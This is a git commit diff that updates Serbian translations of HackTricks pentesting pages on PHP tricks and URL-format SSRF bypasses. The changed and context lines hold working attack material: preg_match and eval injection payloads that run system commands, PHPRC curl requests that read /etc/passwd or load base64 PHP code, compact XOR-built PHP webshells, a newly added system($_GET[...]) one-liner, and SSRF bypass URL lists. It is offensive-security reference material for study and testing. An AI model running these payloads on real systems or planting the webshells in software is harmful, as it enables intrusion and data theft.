Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R

This commit is contained in:
Translator 2024-09-05 18:59:43 +00:00
parent 9b475ca2ad
commit 848444304f
3 changed files with 51 additions and 41 deletions

BIN
.gitbook/assets/View.nib generated Normal file

Binary file not shown.

View file

@ -1,8 +1,8 @@
# PHP Tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -48,10 +48,10 @@ PHP tabele upoređivanja: [https://www.php.net/manual/en/types.comparisons.php](
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi bili isti (brojevi u stringu se tumače kao brojevi)
* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
* `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0
* `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete da obezbedite vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, mogli biste da zaobiđete upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0
* `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Svako slovo u stringu je jednako int 0
Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -79,7 +79,7 @@ Ista greška se javlja sa `strcasecmp()`
### Strogo prebacivanje tipova
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**:
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je **upoređivanje ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -89,7 +89,7 @@ Ista greška se javlja sa `strcasecmp()`
#### Bypass novog reda
Međutim, kada se određuje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, a zatim, ako nekako možete **poslati** unos u **several lines**, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer:
Međutim, kada se određuje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, a zatim, ako nekako možete **poslati** unos u **više linija**, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -113,7 +113,7 @@ Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://rama
#### **Obilaženje greške u dužini**
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\
Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crni spisak odnosi na JSON, mogli biste poslati:
Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -128,14 +128,14 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
Ukratko, problem se dešava jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:\
**Pošaljite ulaz koji bi naterao regex da izvrši 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
**Pošaljite unos koji bi naterao regex da izvrši 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš unos nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što [PHP dokumentacija](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) navodi, podrazumevano iznosi 1\_000\_000 (1M) u `pcre.backtrack_limit` varijabli.\
Da bismo to postigli, `'X'*500_001` će rezultirati u 1 milion koraka unazad (500k unapred i 500k unazad):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Tip prebacivanja za PHP obfuscation
### Tip prebacivanja tipova za PHP obfuscation
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -158,9 +158,9 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Put Traversal i Eksploatacija Uključivanja Fajlova
## Put Traversal i Eksploatacija Uključivanja Datoteka
Proveri:
Proverite:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
@ -168,7 +168,7 @@ Proveri:
## Više trikova
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda.
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda.
* **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
* Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani.
@ -176,8 +176,8 @@ Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** mož
### password\_hash/password\_verify
Ove funkcije se obično koriste u PHP-u da **generišu hešove iz lozinki** i da **provere** da li je lozinka ispravna u poređenju sa hešom.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da hešujete nešto veće od 72bajta sa ovim algoritmom, biće korišćeno samo prvih 72B:
Ove funkcije se obično koriste u PHP-u da **generišu hešove iz lozinki** i da **provere** da li je lozinka tačna u poređenju sa hešom.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -187,9 +187,9 @@ True
```
### HTTP headers bypass abusing PHP errors
#### Causing error after setting headers
#### Uzrokovanje greške nakon postavljanja zaglavlja
Iz [**ove Twitter niti**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru.
Iz [**ove twitter niti**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru.
Omogućava zaobilaženje, na primer, CSP zaglavlja koja se postavljaju u kodovima kao:
```php
@ -199,7 +199,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Popunjavanje tela pre postavljanja zaglavlja
Ako **PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\
Ako **PHP stranica ispisuje greške i vraća neki unos koji je korisnik pružio**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\
U sledećem scenariju **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je PHP pokušao da **izmeni informacije o zaglavlju, nije mogao** (tako da, na primer, CSP zaglavlje nije poslato korisniku):
![](<../../../.gitbook/assets/image (1085).png>)
@ -225,7 +225,7 @@ Proverite stranicu:
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Da bi se izvršio kod u "replace" argumentu, potrebna je barem jedna podudarnost.\
Da bi se izvršio kod u "replace" argumentu, potrebna je najmanje jedna podudarnost.\
Ova opcija preg\_replace je **ukinuta od PHP 5.5.0.**
### **RCE putem Eval()**
@ -243,7 +243,7 @@ Ova funkcija unutar php omogućava vam da **izvršite kod koji je napisan u stri
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Morate **razbiti** **sintaksu** koda, **dodati** svoj **payload**, a zatim **ponovo ga popraviti**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload neće biti izvršen. Na isti način ";" ne funkcioniše jer naš payload neće biti izvršen.
Biće potrebno da **razbijete** **sintaksu** koda, **dodate** svoj **payload**, a zatim **ponovo to ispravite**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload se neće izvršiti. Na isti način ";" ne funkcioniše jer se naš payload neće izvršiti.
**Druga opcija** je da dodate izvršenje komande u string: `'.highlight_file('.passwd').'`
@ -282,24 +282,24 @@ Da biste otkrili broj zagrada koje treba da zatvorite:
### **RCE putem .httaccess**
Ako možete da **otpremite** **.htaccess**, onda možete da **konfigurišete** nekoliko stvari i čak izvršite kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Ako možete da **otpremite** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells)
### RCE putem Env Varijabli
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste da zloupotrebite ovo ponašanje da dobijete **RCE**.
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste zloupotrebiti ovo ponašanje da dobijete **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).
* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugi otpremljeni fajl. Ovaj drugi fajl sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP fajl koji sadrži naš shellcode
2. Otpremite drugi fajl, koji sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši fajl koji smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na fajl koji smo otpremili u koraku 2.
* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP datoteku koja sadrži naš shellcode
2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2.
* Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - druga opcija
* Ako **ne možete da otpremite fajlove**, možete koristiti u FreeBSD "fajl" `/dev/fd/0` koji sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
* Ako **ne možete otpremiti datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte fajl sa **base64 PHP kodom**:
* Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Tehnika [**iz ovog izveštaja**](https://vulncheck.com/blog/juniper-cve-2023-36845).
@ -323,6 +323,13 @@ Connection: keep-alive
phpinfo();
?>
```
## PHP Sanitization bypass & Brain Fuck
[**U ovom postu**](https://blog.redteam-pentesting.de/2024/moodle-rce/) moguće je pronaći sjajne ideje za generisanje brain fuck PHP koda sa vrlo malo dozvoljenih karaktera.\
Pored toga, predložena je i zanimljiva metoda za izvršavanje funkcija koja im je omogućila da zaobiđu nekoliko provera:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP Staticka analiza
@ -336,11 +343,11 @@ Ako debagujete PHP aplikaciju, možete globalno omogućiti štampanje grešaka u
### Deobfuscating PHP code
Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfusciranje php koda.**
Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfuskaciju php koda.**
## PHP Wrappers & Protocols
PHP Wrappers i protokoli mogu vam omogućiti da **zaobiđete zaštitu za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP Wrappers i protokoli mogu vam omogućiti da **zaobiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug unauthenticated RCE
@ -383,7 +390,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR easy shell code
Prema [**ovom izveštaju** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način:
Prema [**ovoj analizi** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -462,8 +469,8 @@ $___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# URL Format Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### Lokalne adrese
### Localhost
```bash
# Localhost
http://127.0.0.1:80
@ -164,6 +164,10 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
### Automatic Custom Wordlists
Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger gde možete uneti dozvoljeni host i napadačev, i generisaće listu URL-ova koje možete isprobati. Takođe uzima u obzir da li možete koristiti URL u parametru, u Host header-u ili u CORS header-u.
### Bypass via redirect
Moguće je da server **filtrira originalni zahtev** za SSRF **ali ne** mogući **redirect** odgovor na taj zahtev.\
@ -191,9 +195,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Objašnjeni trikovi
### Trik sa obrnutim kosom crtom
### Blackslash-trik
Trik sa _obrnutoj kosoj crti_ koristi razliku između [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju obrnutih kosa crta (`\`) kao ekvivalentnih običnim kosim crtama (`/`) u WHATWG standardu, što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u.
_Backslash-trik_ koristi razliku između [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju backslash-a (`\`) kao ekvivalentnog za forward slash (`/`) u WHATWG standardu, što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -208,10 +212,9 @@ slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>